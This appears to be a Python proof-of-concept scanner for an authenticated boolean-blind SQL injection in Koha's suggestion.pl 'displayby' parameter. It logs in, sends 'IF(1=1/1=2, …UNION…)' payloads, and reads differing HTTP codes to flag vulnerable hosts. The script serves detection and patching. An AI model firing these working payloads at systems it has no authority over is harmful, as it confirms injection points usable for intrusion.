README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-31844 - Koha Authenticated SQL Injection Vulnerability Scanner
======================================================================
This tool acts as a responsible vulnerability scanner for CVE-2026-31844.
It tests for the presence of the SQL injection vulnerability using an
authenticated Boolean-Based Blind technique without attempting to
extract sensitive data like passwords or user information.
Vulnerability: SQL Injection in suggestion.pl via 'displayby' parameter
Ref: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=41593
Usage:
python3 scanner.py -t http://HOST:PORT -u USER -p PASS
"""
import requests
import sys
import re
import argparse
import urllib3
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
VULN_PATH = "/cgi-bin/koha/suggestion/suggestion.pl"
LOGIN_PATH = "/cgi-bin/koha/mainpage.pl"
BANNER = """
\033[36m╔═══════════════════════════════════════════════════════════════╗\033[0m
\033[36m║\033[0m \033[1;36mCVE-2026-31844 — Koha Vulnerability Scanner\033[0m \033[36m║\033[0m
\033[36m║\033[0m \033[33mAuthenticated SQLi in suggestion.pl (displayby)\033[0m \033[36m║\033[0m
\033[36m║\033[0m \033[2m(Mothra)\033[0m \033[36m║\033[0m
\033[36m╚═══════════════════════════════════════════════════════════════╝\033[0m
"""
def print_success(msg):
print(f"\033[1;32m[+]\033[0m {msg}")
def print_error(msg):
print(f"\033[1;31m[-]\033[0m {msg}")
def print_info(msg):
print(f"\033[1;34m[*]\033[0m {msg}")
def print_warning(msg):
print(f"\033[1;33m[!]\033[0m {msg}")
class KohaScanner:
def __init__(self, target: str, username: str, password: str, verify_ssl: bool = False):
parsed = urlparse(target)
if not parsed.scheme:
target = "http://" + target
self.target = target.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = verify_ssl
def login(self) -> bool:
print_info(f"Target: {self.target}")
print_info(f"Authenticating to staff interface as '{self.username}'...")
try:
r = self.session.get(f"{self.target}/", timeout=15)
csrf = re.findall(r'name="csrf_token"[^>]*value="([^"]+)"', r.text)
if not csrf:
csrf = re.findall(r'value="([^"]+)"[^>]*name="csrf_token"', r.text)
if not csrf:
print_error("Could not extract CSRF token. Is this a Koha staff interface?")
return False
data = {
"csrf_token": csrf[0],
"op": "cud-login",
"koha_login_context": "intranet",
"login_userid": self.username,
"login_password": self.password,
}
r = self.session.post(
f"{self.target}{LOGIN_PATH}",
data=data,
allow_redirects=True,
timeout=15,
)
if "Log out" in r.text or "cud-logout" in r.text:
print_success("Authentication successful!\n")
return True
else:
print_error("Authentication failed. Check credentials or permissions.")
return False
except requests.exceptions.ConnectionError:
print_error(f"Connection failed to {self.target}")
return False
except requests.exceptions.Timeout:
print_error(f"Connection timed out to {self.target}")
return False
def _inject(self, payload: str) -> int:
try:
r = self.session.get(
f"{self.target}{VULN_PATH}",
params={"op": "else", "displayby": payload},
timeout=15,
)
return r.status_code
except requests.exceptions.RequestException as e:
return 0
def test_vulnerability(self) -> bool:
print("=" * 60)
print(" \033[1mVULNERABILITY SCAN\033[0m")
print("=" * 60)
print_info("Testing vulnerability using safe Boolean-blind evaluation...")
print(" [1] Testing baseline request (STATUS)...", end=" ")
status_baseline = self._inject("STATUS")
if status_baseline == 200:
print("\033[32mHTTP 200 (OK)\033[0m")
else:
print(f"\033[33mHTTP {status_baseline}\033[0m")
print(" [2] Testing TRUE condition evaluation...", end=" ")
status_true = self._inject("IF(1=1, (SELECT 1 UNION SELECT 2), 1)")
if status_true == 500:
print("\033[32mHTTP 500 (Expected Error)\033[0m")
else:
print(f"\033[31mHTTP {status_true}\033[0m")
print(" [3] Testing FALSE condition evaluation...", end=" ")
status_false = self._inject("IF(1=2, (SELECT 1 UNION SELECT 2), 1)")
if status_false == 200:
print("\033[32mHTTP 200 (OK)\033[0m")
else:
print(f"\033[31mHTTP {status_false}\033[0m")
print("=" * 60)
if status_baseline == 200 and status_true == 500 and status_false == 200:
print("\n\033[1;41m[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 \033[0m\n")
print_warning("The target evaluated the SQL conditions and returned differential HTTP codes.")
print_warning("Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.")
return True
else:
print("\n\033[1;42m[ SECURE ] Target does not appear vulnerable. \033[0m\n")
print_info("The server did not respond to the Boolean-blind SQLi payloads as expected.")
return False
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="Vulnerability Scanner for CVE-2026-31844 (Authenticated Koha SQLi)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 scanner.py -t http://koha.local:8081 -u staff -p password123
python3 scanner.py -t https://koha.library.edu -u admin -p secret --no-verify-ssl
"""
)
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://koha.local:8081)")
parser.add_argument("-u", "--user", required=True, help="Staff interface username")
parser.add_argument("-p", "--pass", dest="password", required=True, help="Staff interface password")
parser.add_argument("--no-verify-ssl", action="store_true", help="Disable SSL certificate verification")
args = parser.parse_args()
scanner = KohaScanner(
target=args.target,
username=args.user,
password=args.password,
verify_ssl=not args.no_verify_ssl,
)
if scanner.login():
scanner.test_vulnerability()
else:
sys.exit(1)
if __name__ == "__main__":
main()